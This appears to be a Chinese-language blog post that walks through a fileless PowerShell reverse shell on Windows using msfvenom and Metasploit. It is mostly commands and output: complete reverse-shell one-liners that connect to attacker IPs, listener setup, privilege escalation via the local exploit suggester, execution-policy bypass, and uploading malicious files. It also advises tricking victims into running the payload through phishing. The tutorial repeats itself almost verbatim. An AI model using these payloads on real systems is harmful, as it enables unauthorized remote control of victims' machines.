#无文件 #PowerShell #反向木马 #ReverseShell #Metasploit #Windows #powershell #reverse #tcp #Meterpreter #渗透测试

msf6 > use exploit/multi/handler
msf6 > set payload windows/shell_reverse_tcp

> msfvenom -p windows/shell_reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
1. 开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
2. 生成powershell command命令
> msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.229 LPORT=4444 -e cmd/powershell_base64 -f psh-cmd > reverse.ps1
3. 提权
meterpreter > getsystem #拿不到权限
meterpreter > bg

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set session 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.5.233 - Collecting local exploits for x86/windows...
[*] 192.168.5.233 - 196 exploit checks are being tried...
[+] 192.168.5.233 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
……

扫出可以提权的exploit,随便使用一个提权
### PowerShell Command 木马

PowerShell 是 Windows 系统内置的命令行脚本环境,因此在渗透测试中,攻击者常利用 PowerShell 脚本来执行恶意操作,而无需上传可执行文件。以下是使用 PowerShell 命令来生成和执行反向木马的一些常见步骤。

#### 1. 生成 PowerShell 反向木马命令

PowerShell 反向木马允许攻击者通过 PowerShell 执行命令来建立一个远程会话,这样可以在目标系统上执行命令、获取信息或者控制目标。

使用 msfvenom 生成 PowerShell 反向木马命令:

msfvenom -p windows/powershell_reverse_tcp LHOST=<攻击者IP> LPORT=<攻击者端口> -f raw


例如:

msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw


这将生成一个 PowerShell 反向连接的命令,如下所示:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"


解释:
- `LHOST=192.168.1.100`:攻击者的 IP 地址。
- `LPORT=4444`:监听端口。
- `-f raw`:输出原始的 PowerShell 命令。

这段命令通过创建一个 TCP 客户端,连接到攻击者指定的主机和端口,并通过流将输入的 PowerShell 命令执行,然后将结果返回给攻击者。

#### 2. 启动 Metasploit 监听器

在 Metasploit 中启动 `multi/handler` 模块并监听反向连接:

msfconsole
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run


- `set LHOST 192.168.1.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
- `run`:启动监听等待目标机器的反向连接。

#### 3. 在目标系统上执行 PowerShell 命令

将上面生成的 PowerShell 反向木马命令传递给目标机器并在目标机器上执行。可以通过以下方式执行:

1. **直接在 PowerShell 中执行**:
在目标机器上打开 PowerShell 窗口并直接粘贴命令进行执行。

   powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
   


2. **通过社会工程学手段执行**:
通过社会工程学手段诱使目标用户执行该命令。例如,通过邮件、钓鱼网站或者在目标机器上放置一个伪装的 PowerShell 脚本,诱使用户运行。

3. **通过文件执行**:
将 PowerShell 反向木马命令保存为 .ps1 脚本文件,例如 `reverse.ps1`,然后通过以下命令执行:

   powershell -ExecutionPolicy Bypass -File reverse.ps1
   


-ExecutionPolicy Bypass 用于绕过 PowerShell 的执行策略,允许执行脚本。

#### 4. 接收反向连接

当目标机器执行 PowerShell 命令时,Metasploit 控制台将显示以下信息,表示已经成功获得目标的反向连接:

[*] Started reverse TCP handler on 192.168.1.100:4444 
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500


此时,你可以通过 Meterpreter 会话进行各种操作,如获取系统信息、执行命令、上传/下载文件等。

#### 5. 后续操作

通过反向连接,你可以执行一系列操作。例如,查看系统信息:

sysinfo


或者上传恶意文件:

upload /path/to/malicious/file C:\Users\Public\malicious.exe


#### 总结

PowerShell 反向木马是一个强大且隐蔽的攻击方式。它无需依赖可执行文件,而是通过 PowerShell 直接在目标机器上执行恶意命令。通过适当的社会工程学技巧或合法的管理工具,可以绕过防火墙和其他安全措施,进行渗透测试和攻击。

### 关键词
#PowerShell #反向木马 #ReverseShell #Metasploit #windows/powershell_reverse_tcp #Meterpreter #渗透测试
### 使用 PowerShell 命令生成反向木马

在渗透测试中,有时会选择使用 PowerShell 作为载体来执行反向连接命令。这种方式不需要生成可执行文件(exe),而是利用 PowerShell 脚本直接从目标机器发起反向连接到攻击者的机器。

Metasploit 提供了一个 PowerShell 反向 shell payload,可以帮助你生成和执行这种反向木马。

#### 步骤 1:生成 PowerShell 反向连接命令

使用 msfvenom 来生成 PowerShell 反向连接命令,避免将恶意文件上传到目标机器,而是通过 PowerShell 直接执行命令。

1. **生成 PowerShell 反向木马命令**:

假设攻击者的 IP 地址是 `192.168.5.100`,端口是 `4444`,执行以下命令生成 PowerShell 反向 shell:

   msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.5.100 LPORT=4444 -f raw
   


- `-p windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `LHOST=192.168.5.100`:设置攻击者的 IP 地址。
- `LPORT=4444`:设置监听的端口。
- `-f raw`:生成原始的 PowerShell 命令。

输出将是类似这样的 PowerShell 命令:

   powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.5.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
   


这个命令会启动一个 PowerShell 反向连接并连接到攻击者的机器。

#### 步骤 2:设置 Metasploit 监听器

1. **启动 Metasploit 控制台并设置监听器**:

启动 Metasploit 并使用 `multi/handler` 模块来监听目标机器的反向连接。

   msfconsole
   


2. **设置监听器参数**:

在 Metasploit 控制台中执行以下命令来设置监听器:

   use exploit/multi/handler
   set payload windows/powershell_reverse_tcp
   set LHOST 192.168.5.100
   set LPORT 4444
   run
   


- `use exploit/multi/handler`:选择通用的处理程序。
- `set payload windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `set LHOST 192.168.5.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。

3. **开始监听反向连接**:

执行 `run` 启动监听,等待目标执行 PowerShell 命令并反向连接。

#### 步骤 3:在目标机器上执行 PowerShell 命令

将上面生成的 PowerShell 命令复制到目标机器上并通过 PowerShell 执行。可以使用以下几种方式之一来执行:

1. **直接在 PowerShell 中执行命令**:

通过手动输入或在目标机器的 PowerShell 命令行中执行命令。

2. **通过文件执行**:

可以将该命令写入一个 PowerShell 脚本文件(例如 `reverse.ps1`),然后执行该文件:

   powershell -ExecutionPolicy Bypass -File reverse.ps1
   


3. **通过社会工程学**:

可以通过钓鱼邮件、社交工程等方式诱使目标用户执行该命令。

#### 步骤 4:接收反向连接

一旦目标执行 PowerShell 命令,你将会在 Metasploit 控制台中看到类似以下输出:

[*] Started reverse TCP handler on 192.168.5.100:4444 
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.5.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500


这意味着你已经成功获取了目标机器的 Meterpreter 会话,可以继续执行各种渗透测试任务。

#### 步骤 5:后续操作

一旦建立反向连接,你可以通过 Meterpreter 执行各种操作,如:

- 获取系统信息
- 上传/下载文件
- 执行系统命令

例如,使用以下命令获取目标机器的系统信息:

sysinfo


### 总结

PowerShell 反向木马是一种不依赖于上传可执行文件的反向连接方式,它通过 PowerShell 脚本直接从目标机器反向连接到攻击者机器。这种方式隐蔽性较高,且容易被利用。

### 关键词
#Metasploit #PowerShell #ReverseShell #反向木马 #Meterpreter #windows/powershell_reverse_tcp
 
 
Back to Top